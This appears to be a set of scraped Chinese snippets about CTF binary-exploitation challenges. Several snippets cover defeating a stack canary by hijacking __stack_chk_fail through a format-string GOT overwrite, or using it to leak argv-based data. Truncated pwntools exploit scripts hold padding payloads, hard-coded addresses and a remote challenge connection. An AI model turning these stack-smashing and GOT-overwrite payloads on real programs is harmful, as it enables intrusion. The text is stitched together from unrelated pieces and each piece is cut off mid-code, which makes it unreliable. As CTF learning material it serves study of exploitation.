pwn-r2t4(__stack_chk_fail劫持绕过canary) 查看保护 main函数 backdoor函数 read栈溢出,但空间不够,并且开启了canary,printf存在明显的格式化字符串。 覆写got表中的__stack_chk_fail地址为backdoor的地址 计算出偏移为6 exp: #!/usr/bin/pythonfrompwnimport*fromLibcSearcherimport*a=remote("node3.buuoj.c...
from pwn import * #p = gdb.debug(args=['./ex0'],gdbscript='r') p=process('./ex0') #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level='debug' flag = 0x0804A060 payload = p32(0x0804A060)*0x80 gdb.attach(proc.pidof(p)[0],gdbscript='b *0x80...
实例代码: frompwnimport*context.log_level='debug'sh=process('./hiahiahia')#sh = remote("149.248.7.48", 8888)argv_addr=0x7fffffffddf0name_addr=0x7fffffffdf58flag_addr=0x4007A8payload='a'*(name_addr-argv_addr)+p64(flag_addr)sh.sendlineafter("flag!\n",payload)sh.recv()...
这一节我们来看一下,在开启了 canary 的程序上,怎样利用 __stack_chk_fail 泄漏信息。 一个例子: #include <stdio.h> void main(int argc, char **argv) { printf("argv[0]: %s\n", argv[0]); char buf[10]; scanf("%s", buf); // argv[0] = "Hello World!"; } ...
对于第二个问题,也比较好处理。运行flagen,然后查看其内存映射情况,如下: root@gzq:/home/gzq/exploit/flagen#psaxu |grepflagen root34960.30.72839216184pts/1Sl+15:440:06/usr/bin/python2 ./flagen-pwn.py root35030.00.02200528pts/2ts+15:440:00./flagen root35100.21.43821630932...